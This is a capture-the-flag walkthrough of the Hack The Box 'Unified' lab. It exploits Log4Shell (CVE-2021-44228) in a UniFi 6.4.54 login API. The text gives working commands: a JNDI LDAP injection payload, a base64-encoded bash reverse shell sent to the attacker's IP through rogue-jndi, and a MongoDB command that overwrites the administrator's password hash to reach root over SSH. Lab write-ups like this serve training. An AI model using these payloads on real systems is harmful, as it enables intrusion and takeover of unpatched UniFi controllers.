04.UNIFIED

root@oco:~$ sudo openvpn ~/Downloads/starting_point.ovpn

ENUMERATE SERVICES

root@htb:~$ sudo nmap -sV -sC -T4 {targetIP} -p-
 PORT     STATE SERVICE       VERSION
 22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey: 
 |   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
 |   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
 |_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
 6789/tcp open  ibm-db2-admin?
 8080/tcp open  http-proxy
 |_http-open-proxy: Proxy might be redirecting requests
 | fingerprint-strings: 
 |   FourOhFourRequest: 
 |     HTTP/1.1 404 
 |     Content-Type: text/html;charset=utf-8
 |     Content-Language: en
 |     Content-Length: 431
 |     Date: Mon, 21 Apr 2025 04:17:37 GMT
 |     Connection: close
 |     <!doctype html><html lang="en"><head><title>HTTP Status 404 
 |     Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 
 |     Found</h1></body></html>
 |   GetRequest, HTTPOptions: 
 |     HTTP/1.1 302 
 |     Location: http://localhost:8080/manage
 |     Content-Length: 0
 |     Date: Mon, 21 Apr 2025 04:17:37 GMT
 |     Connection: close
 |   RTSPRequest, Socks5: 
 |     HTTP/1.1 400 
 |     Content-Type: text/html;charset=utf-8
 |     Content-Language: en
 |     Content-Length: 435
 |     Date: Mon, 21 Apr 2025 04:17:37 GMT
 |     Connection: close
 |     <!doctype html><html lang="en"><head><title>HTTP Status 400 
 |     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
 |_    Request</h1></body></html>
 |_http-title: Did not follow redirect to https://10.129.96.149:8443/manage
 8443/tcp open  ssl/nagios-nsca Nagios NSCA
 | ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
 | Subject Alternative Name: DNS:UniFi
 | Not valid before: 2021-12-30T21:37:24
 |_Not valid after:  2024-04-03T21:37:24
 | http-title: UniFi Network
 |_Requested resource was /manage/account/login?redirect=%2Fmanage
 8843/tcp open  ssl/unknown
 | ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
 | Subject Alternative Name: DNS:UniFi
 | Not valid before: 2021-12-30T21:37:24
 |_Not valid after:  2024-04-03T21:37:24
 | fingerprint-strings: 
 |   GetRequest, HTTPOptions, RTSPRequest: 
 |     HTTP/1.1 400 
 |     Content-Type: text/html;charset=utf-8
 |     Content-Language: en
 |     Content-Length: 435
 |     Date: Mon, 21 Apr 2025 04:17:55 GMT
 |     Connection: close
 |     <!doctype html><html lang="en"><head><title>HTTP Status 400 
 |     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
 |_    Request</h1></body></html>
 8880/tcp open  cddbp-alt?
 | fingerprint-strings: 
 |   FourOhFourRequest: 
 |     HTTP/1.1 404 
 |     Content-Type: text/html;charset=utf-8
 |     Content-Language: en
 |     Content-Length: 431
 |     Date: Mon, 21 Apr 2025 04:17:37 GMT
 |     Connection: close
 |     <!doctype html><html lang="en"><head><title>HTTP Status 404 
 |     Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 
 |     Found</h1></body></html>
 |   GetRequest: 
 |     HTTP/1.1 400 
 |     Content-Type: text/html;charset=utf-8
 |     Content-Language: en
 |     Content-Length: 435
 |     Date: Mon, 21 Apr 2025 04:17:37 GMT
 |     Connection: close
 |     <!doctype html><html lang="en"><head><title>HTTP Status 400 
 |     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
 |     Request</h1></body></html>
 |   HTTPOptions: 
 |     HTTP/1.1 400 
 |     Content-Type: text/html;charset=utf-8
 |     Content-Language: en
 |     Content-Length: 435
 |     Date: Mon, 21 Apr 2025 04:17:43 GMT
 |     Connection: close
 |     <!doctype html><html lang="en"><head><title>HTTP Status 400 
 |     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
 |_    Request</h1></body></html>
 3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
 ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
 SF-Port8080-TCP:V=7.94SVN%I=7%D=4/20%Time=6805C6E2%P=x86_64-pc-linux-gnu%r
 SF:(GetRequest,84,"HTTP/1\.1\x20302\x20\r\nLocation:\x20http://localhost:8
 SF:080/manage\r\nContent-Length:\x200\r\nDate:\x20Mon,\x2021\x20Apr\x20202
 SF:5\x2004:17:37\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,84
 SF:,"HTTP/1\.1\x20302\x20\r\nLocation:\x20http://localhost:8080/manage\r\n
 SF:Content-Length:\x200\r\nDate:\x20Mon,\x2021\x20Apr\x202025\x2004:17:37\
 SF:x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x
 SF:20400\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Langua
 SF:ge:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Mon,\x2021\x20Apr\x2020
 SF:25\x2004:17:37\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>
 SF:<html\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93
 SF:\x20Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font-fam
 SF:ily:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white
 SF:;background-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-s
 SF:ize:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x2
 SF:0{color:black;}\x20\.line\x20{height:1px;background-color:#525D76;borde
 SF:r:none;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\
 SF:x20Bad\x20Request</h1></body></html>")%r(FourOhFourRequest,24A,"HTTP/1\
 SF:.1\x20404\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-La
 SF:nguage:\x20en\r\nContent-Length:\x20431\r\nDate:\x20Mon,\x2021\x20Apr\x
 SF:202025\x2004:17:37\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20h
 SF:tml><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20404\x20\xe2\x80
 SF:\x93\x20Not\x20Found</title><style\x20type=\"text/css\">body\x20{font-f
 SF:amily:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:whi
 SF:te;background-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font
 SF:-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\
 SF:x20{color:black;}\x20\.line\x20{height:1px;background-color:#525D76;bor
 SF:der:none;}</style></head><body><h1>HTTP\x20Status\x20404\x20\xe2\x80\x9
 SF:3\x20Not\x20Found</h1></body></html>")%r(Socks5,24E,"HTTP/1\.1\x20400\x
 SF:20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20
 SF:en\r\nContent-Length:\x20435\r\nDate:\x20Mon,\x2021\x20Apr\x202025\x200
 SF:4:17:37\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x
 SF:20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad
 SF:\x20Request</title><style\x20type=\"text/css\">body\x20{font-family:Tah
 SF:oma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;backgr
 SF:ound-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16p
 SF:x;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color
 SF::black;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;
 SF:}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\
 SF:x20Request</h1></body></html>");
 ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
 SF-Port8843-TCP:V=7.94SVN%T=SSL%I=7%D=4/20%Time=6805C6F3%P=x86_64-pc-linux
 SF:-gnu%r(GetRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/ht
 SF:ml;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r
 SF:\nDate:\x20Mon,\x2021\x20Apr\x202025\x2004:17:55\x20GMT\r\nConnection:\
 SF:x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTT
 SF:P\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20t
 SF:ype=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\
 SF:x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20
 SF:{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}
 SF:\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:
 SF:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP
 SF:\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>"
 SF:)%r(HTTPOptions,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html
 SF:;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\n
 SF:Date:\x20Mon,\x2021\x20Apr\x202025\x2004:17:55\x20GMT\r\nConnection:\x2
 SF:0close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\
 SF:x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20typ
 SF:e=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x2
 SF:0h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{f
 SF:ont-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x
 SF:20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1p
 SF:x;background-color:#525D76;border:none;}</style></head><body><h1>HTTP\x
 SF:20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>")%
 SF:r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;c
 SF:harset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDa
 SF:te:\x20Mon,\x2021\x20Apr\x202025\x2004:17:55\x20GMT\r\nConnection:\x20c
 SF:lose\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x2
 SF:0Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=
 SF:\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h
 SF:2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{fon
 SF:t-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20
 SF:p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;
 SF:background-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20
 SF:Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>");
 ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
 SF-Port8880-TCP:V=7.94SVN%I=7%D=4/20%Time=6805C6E3%P=x86_64-pc-linux-gnu%r
 SF:(GetRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;cha
 SF:rset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate
 SF::\x20Mon,\x2021\x20Apr\x202025\x2004:17:37\x20GMT\r\nConnection:\x20clo
 SF:se\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20S
 SF:tatus\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"
 SF:text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,
 SF:\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-
 SF:size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\
 SF:x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;ba
 SF:ckground-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20St
 SF:atus\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>")%r(Fo
 SF:urOhFourRequest,24A,"HTTP/1\.1\x20404\x20\r\nContent-Type:\x20text/html
 SF:;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20431\r\n
 SF:Date:\x20Mon,\x2021\x20Apr\x202025\x2004:17:37\x20GMT\r\nConnection:\x2
 SF:0close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\
 SF:x20Status\x20404\x20\xe2\x80\x93\x20Not\x20Found</title><style\x20type=
 SF:\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h
 SF:2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{fon
 SF:t-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20
 SF:p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;
 SF:background-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20
 SF:Status\x20404\x20\xe2\x80\x93\x20Not\x20Found</h1></body></html>")%r(HT
 SF:TPOptions,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;chars
 SF:et=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\
 SF:x20Mon,\x2021\x20Apr\x202025\x2004:17:43\x20GMT\r\nConnection:\x20close
 SF:\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Sta
 SF:tus\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"te
 SF:xt/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x
 SF:20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-si
 SF:ze:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x2
 SF:0{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;back
 SF:ground-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Stat
 SF:us\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>");
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 * Typically '-sV' is used with Nmap to determine versions, but that's not always enough. 
    - adding the -sC is another good way to determine service versions
       - the -sC option will run safe scripts which are designed to provide useful 
         information without being too intrusive or causing harm to the target systems.
 * the -SC runs the default set of Nmap scripts (NSE scripts), which typically include
   scripts for service enumeration, version detection, and other basic checks.
         
 * use the -Pn option of Nmap when ICMP packets are blocked by the Windows firewall
    - the -PN option treats all hosts as online and will skip host discovery

VULNERABILITY SCANNING

root@htb:~$ sudo nmap --script=vuln {targetIP} -p 22,6789,8080,8443,8843,8880
 PORT   STATE SERVICE
 22/tcp   open     ssh
 6789/tcp filtered ibm-db2-admin
 8080/tcp open     http-proxy
 8443/tcp open     https-alt
 | http-enum: 
 |_  /api/: Potentially interesting folder (401 )
 8843/tcp open     unknown
 8880/tcp open     cddbp-alt

Nmap done: 1 IP address (1 host up) scanned in 112.77 seconds

 * the --script=vuln will run scripts that focus specifically on detecting known 
   vulnerabilities in the service running on port 6379
    - e.g., weak configurations, or known vulnerabilities in the redis service
       - if no results are found then the service may be fully patched!

FOOTHOLD

Submit user flag and root flag.
#walk the application
root@htb:~$ BROWSER > 10.129.57.218:8080

 * redirected to 8443
    - https://10.129.57.218:8443/manage/account/login?redirect=%2Fmanage
    - identified a UniFi v6.4.54 web portal
    
#research vulnerabilities
root@htb:~$ BROWSER > https://www.google.com/
 Search: unifi 6.4.54 exploit

root@htb:~$ BROWSER > https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
 * CVE-2021-44228: Log4j
    ...
root@htb:~$ ifconfig
 10.10.14.215

root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 username: test
 password: test
 ...
 * submit the expected user input

BURP > Proxy > Intercept > Raw
 ...
 
 * Send to repeater
 
BURP > Repeater
 Request
  ...
  POST /api/login HTTP/1.1
  Host: 10.129.96.149:8443
  Cookie: unifises=ROLvFpn...; csrf_token=29RxNe...
  X-Csrf-Token: 29RxNe...
  
  {
    "username":"test",
    "password":"test",
    "remember":"${jndi:ldap://10.10.14.215/whatever}",    <-- this is the vulnerable parameter
    "strict":true
  }
  
 * IOT prevent the payload from being parsed as another JSON object, it must
   be enclosed inside brackets and with double quotes ("{...}") so that it is 
   parsed as a string.

 * if the request causes the server to connect back to us, 
   then we have verified that the application is vulnerable.
    - ${jndi:ldap://{Tun0 IP Address}/whatever}
       - JNDI (Java Naming and Directory Interface) is an API that allows 
         Java applications to locate and access resources, such as database 
         servers or messaging systems, by making naming and directory 
         service calls.
       - LDAP (Lightweight Directory Access Protocol) is an open, 
         vendor-neutral protocol used to access and manage distributed 
         directory information over a network. It typically runs on port 389.

 Response
  ...
  HTTP/1.1 400 OK
   ...
   
   {
     "meta":{
       "rc":"error",
       "msg":"api.err.InvalidPayload"
     },
     "data":[
     ]
   }
  
 * the error msg "api.err.InvalidPayload" states that the payload is invalid, 
   but it did actually execute and tried to connect to the remote malicious 
   host/server
   
#monitor the network traffic for LDAP connections.
root@htb:~$ sudo tcpdump -i tun0 port 389

BURP > Repeater > Send
 ...

root@htb:~$ ...tcpdump...
 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
 listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
 22:59:24.357228 IP 10.129.57.218.48492 > htb-klmolaykyp.ldap: Flags [S], seq 4239627235, win 64240, options [mss 1340,sackOK,TS val 938641020 ecr 0,nop,wscale 7], length 0
 22:59:24.357239 IP htb-klmolaykyp.ldap > 10.129.57.218.48492: Flags [R.], seq 0, ack 4239627236, win 0, length 0

 * tcpdump will show connections being received on the attacking machine
   from the target
    -  this proves that the application is vulnerable since it is trying 
       to connect back to the attacking machine on the LDAP port 389
 
#install Open-JDK & Maven to build a payload that can sent to the server which will provide RCE on the vulnerable system
root@htb:~$ sudo apt update
root@htb:~$ sudo apt install openjdk-11-jdk -y
root@htb:~$ sudo apt install maven

 * OpenJDK is the Java Development Kit used to build Java applications, 
   while Maven is a build tool that helps structure projects and compile them 
   into JAR files.
    - Together, they can be used to run the rogue-jndi Java application, which
      starts a local LDAP server to receive callbacks from vulnerable servers 
      and execute malicious code.

root@htb:~$ java --version
 openjdk 17.0.13 2024-10-15
 OpenJDK Runtime Environment (build 17.0.13+11-Debian-2deb12u1)
 OpenJDK 64-Bit Server VM (build 17.0.13+11-Debian-2deb12u1, mixed mode, sharing)

root@htb:~$ mvn -v
 Apache Maven 3.8.7
 Maven home: /usr/share/maven
 Java version: 17.0.13, vendor: Debian, runtime: /usr/lib/jvm/java-17-openjdk-amd64
 Default locale: en_US, platform encoding: UTF-8
 OS name: "linux", version: "6.11+parrot-amd64", arch: "amd64", family: "unix"
#download and build the Rogue-JNDI Java application
root@htb:~$ git clone https://github.com/veracode-research/rogue-jndi
root@htb:~$ cd rogue-jndi
root@htb:~$ mvn package
 ...
 [INFO] Dependency-reduced POM written at: /home/str1f3/rogue-jndi/dependency-reduced-pom.xml
 [INFO] ------------------------------------------------------------------------
 [INFO] BUILD SUCCESS
 [INFO] ------------------------------------------------------------------------
 [INFO] Total time:  4.537 s
 [INFO] Finished at: 2025-04-27T23:07:57-05:00
 [INFO] ------------------------------------------------------------------------

#construct payload to pass into the RogueJndi-1-1.jar Java application; the payload is responsible for giving the attacker a shell on the affected system
root@htb:~$ nc -nlvp 4444
 ...
root@htb:~$ echo 'bash -c bash -i >&/dev/tcp/{attackerIP}/{attackerPort} 0>&1' | base64
 YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMjE1LzQ0NDQgMD4mMQo=

#start the Rogue-JNDI application with the payload
root@htb:~$ java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}|{base64,-d}|{bash,-i}" --hostname "{attackerIP}"
 +-+-+-+-+-+-+-+-+-+
 |R|o|g|u|e|J|n|d|i|
 +-+-+-+-+-+-+-+-+-+
 Starting HTTP server on 0.0.0.0:8000
 Starting LDAP server on 0.0.0.0:1389
 Mapping ldap://10.10.14.215:1389/o=websphere1 to artsploit.controllers.WebSphere1
 Mapping ldap://10.10.14.215:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
 Mapping ldap://10.10.14.215:1389/o=tomcat to artsploit.controllers.Tomcat
 Mapping ldap://10.10.14.215:1389/o=groovy to artsploit.controllers.Groovy
 Mapping ldap://10.10.14.215:1389/ to artsploit.controllers.RemoteReference
 Mapping ldap://10.10.14.215:1389/o=reference to artsploit.controllers.RemoteReference
 Mapping ldap://10.10.14.215:1389/o=websphere2 to artsploit.controllers.WebSphere2
 Mapping ldap://10.10.14.215:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

 * exact cmd:  java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMjE1LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.215"
    - IMPORTANT: there MUST be NO SPACES between pipelines!

BURP > Repeater
 Request
  ...
  POST /api/login HTTP/1.1
  Host: 10.129.96.149:8443
  Cookie: unifises=ROLvFpn...; csrf_token=29RxNe...
  X-Csrf-Token: 29RxNe...
  
  {
    "username":"test",
    "password":"test",
    "remember":"${jndi:ldap://10.10.14.215:1389/o=tomcat}",     <--- change the payload to this
    "strict":true
  }

 * the 10.10.14.215:1389 is the attacker    
 
 Response
  ...
  HTTP/1.1 400 OK
   ...
   
   {
     "meta":{
       "rc":"error",
       "msg":"api.err.InvalidPayload"
     },
     "data":[
     ]
   }
    
 * should receive...
    - Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload     

root@htb:~$ netcat ...
 listening on [any] 4444 ...
 connect to [10.10.14.215] from (UNKNOWN) [10.129.57.218] 58526
 
unifi@unified:/usr/lib/unifi$ script /dev/null -c bash                                 //turn the shell into an interactive shell IOT communicate w/ the target effectively
 Script started, file is /dev/null
 
unifi@unified:/usr/lib/unifi$ ls /home
 michael
 
unifi@unified:/usr/lib/unifi$ ls /home/michael
 user.txt
 
unifi@unified:/usr/lib/unifi$ cat /home/michael/user.txt
 6ced1a6a89e666c0620cdb10262ba127
#privilege escalation -  access the administrator panel of the UniFi application and extract SSH secrets used between the appliance
unifi@unified:/usr/lib/unifi$ ps aux | grep mongo
 unifi         67  0.4  4.1 1069952 85092 ?       Sl   02:22   0:05 bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1
 unifi        745  0.0  0.0  11468  1044 pts/0    S+   02:44   0:00 grep mongo

 * extract credentials in order to login to the administrative panel

root@htb:~$ BROWSER > 
 search: UniFi Default Database Name
  The default database name used by the UniFi Controller is "ace". This database is used by the UniFi software to store all its configuration and data
 
unifi@unified:/usr/lib/unifi$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
 <17 ace --eval "db.admin.find().forEach(printjson);"
 MongoDB shell version v3.6.3
 connecting to: mongodb://127.0.0.1:27117/ace
 MongoDB server version: 3.6.3
 {
	"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
	"name" : "administrator",
	"email" : "administrator@unified.htb",
	"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
        ...
        
 * the password hash is for the administrator user is in "x_shadow"!
    - this password hash can't be decrypted easily and might take time, but easily be changed or modified to gain privilege escalation
       - the $6$ represents the hashing algorithm SHA-512!
       
root@htb:~$ mkpasswd -m sha-512 Password1234
 $6$nDibnfc3VGZcEX3p$ef3loZykZtQvVLiY63sD4GAdhuxYafmOIUFAitqOX/Vpz2goXZrMt3IgxptvWU/.GpI7PtG33CadnD0Utfc5O/

 * be mindful that the hash will change every time SALTS are added to the hashing process
 * the trailing backslash is part of the passsword hash and must be included!
 
#modify the administrator password
unifi@unified:/usr/lib/unifi$ mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$nDibnfc3VGZcEX3p$ef3loZykZtQvVLiY63sD4GAdhuxYafmOIUFAitqOX/Vpz2goXZrMt3IgxptvWU/.GpI7PtG33CadnD0Utfc5O/"}})'
 <Wx.bKCNR83ZdyBIj3uSenU2.KTSFhTOqNRqVWGOdwzdGX3"}})'
 MongoDB shell version v3.6.3
 connecting to: mongodb://127.0.0.1:27117/ace
 MongoDB server version: 3.6.3
 WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })

 * must match ObjectId of administrator user
 * the trailing backslash is part of the password hash and must be included!
 
#verify password change
unifi@unified:/usr/lib/unifi$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
 <17 ace --eval "db.admin.find().forEach(printjson);"
 MongoDB shell version v3.6.3
 connecting to: mongodb://127.0.0.1:27117/ace
 MongoDB server version: 3.6.3
 {
	"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
	"name" : "administrator",
	"email" : "administrator@unified.htb",
	"x_shadow" : "$6$UdaZgwQcqfwEQGPX$yIYhrCibXAr9w/XHM34HjaR0Qx9aUMitDF8VAhYWx.bKCNR83ZdyBIj3uSenU2.KTSFhTOqNRqVWGOdwzdGX3",
        ...
#
root@htb:~$ BROWSER > {targetSite:port}
 Username: administrator
 Password: {arbitrary}
 
Unifi Control Panel > Settings > Site > Device Authentication
 SSH Authentication: {view the password in plaintext! click on the eye icon!}
  Username: root
  PW: NotACrackablePassword4U2022

root@htb:~$ ssh root@10.129.213.68
 PW: NotACrackablePassword4U2022
 
root@unified:~# ls /root
 root.txt
root@unified:~# cat /root/root.txt
 e50bc93c75b634e4b272d2f771c33681

Last updated